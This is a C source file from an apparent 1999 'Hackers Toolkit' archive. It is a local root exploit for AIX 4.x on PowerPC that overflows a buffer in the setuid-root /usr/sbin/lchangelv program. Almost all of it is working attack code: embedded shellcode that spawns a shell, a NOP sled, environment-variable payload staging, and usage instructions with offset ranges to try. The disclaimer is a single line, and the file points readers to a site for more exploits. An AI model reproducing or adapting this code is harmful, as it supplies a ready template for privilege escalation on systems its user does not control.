home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / aix_lchangelv.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  3KB  |  104 lines

  1. /*
  2.  *
  3.  *   /usr/sbin/lchangelv (kinda' coded) by BeastMaster V    
  4.  * 
  5.  *   CREDITS: this is simply a modified version of an exploit
  6.  *   posted by Georgi Guninski (guninski@hotmail.com)
  7.  *
  8.  *   NOTES: you must have gid or egid of (system) to run this.
  9.  *
  10.  *
  11.  *   This will give a #rootshell# by overwriting a buffer
  12.  *   /usr/sbin/lchangelv while lchangelv is setuid to root.
  13.  *   This exploit is designed for AIX 4.x on PPC platform.    
  14.  *
  15.  *
  16.  *   USAGE: 
  17.  *            $ cc -o foo -g aix_lchangelv.c
  18.  *            $ ./foo 5100
  19.  *            #
  20.  *
  21.  *      
  22.  *   HINT: Try giving ranges from 5090 through 5500
  23.  *
  24.  *   DISCLAIMER: use this program in a responsible manner.
  25.  *
  26.  *   --> don't forget to visit http://www.rootshell.com
  27.  *   --> for more goodies :-)
  28.  *
  29.  */
  30.  
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <string.h>
  34. #include <unistd.h>
  35.  
  36. extern int execv();
  37.  
  38. #define MAXBUF 600
  39.  
  40. unsigned int code[]={
  41.         0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  42.         0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  43.         0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  44.         0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  45.         0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  46.         0x7c0903a6 , 0x4e800420, 0x0
  47. };
  48.  
  49. char *createvar(char *name,char *value)
  50. {
  51.     char *c;
  52.     int l;
  53.  
  54.     l=strlen(name)+strlen(value)+4;
  55.     if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  56.     strcpy(c,name);
  57.     strcat(c,"=");
  58.     strcat(c,value);
  59.     putenv(c);
  60.     return c;
  61. }
  62.  
  63. main(int argc,char **argv,char **env)
  64. {
  65.     unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  66.     int min=100, max=280;
  67.     unsigned int return_address;
  68.     char *newenv[8];
  69.     char *args[4];
  70.     int offset=3200;
  71.  
  72.     if (argc==2) offset = atoi(argv[1]);
  73.  
  74.     pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;
  75.  
  76.     *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  77.     *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  78.     *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  79.     *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);
  80.  
  81.     return_address=(unsigned)&buf[0]+offset;
  82.  
  83.     for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  84.     strcpy((char*)&buf[nop],(char*)&code);
  85.     i=nop+strlen( (char*) &code)/4-1;
  86.  
  87.     for(i=0;i<max-1;i++) frame[i]=return_address;
  88.     frame[i]=0;
  89.  
  90.     newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  91.     newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  92.     newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  93.     newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  94.     newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  95.     newenv[5]=NULL;
  96.  
  97.     args[0]="lchangelv";
  98.     args[1]="-l";
  99.     args[2]=(char*)&frame[0];
  100.     execve("/usr/sbin/lchangelv",args,newenv);
  101.     perror("Error executing execve \n");
  102.  
  103. }
  104.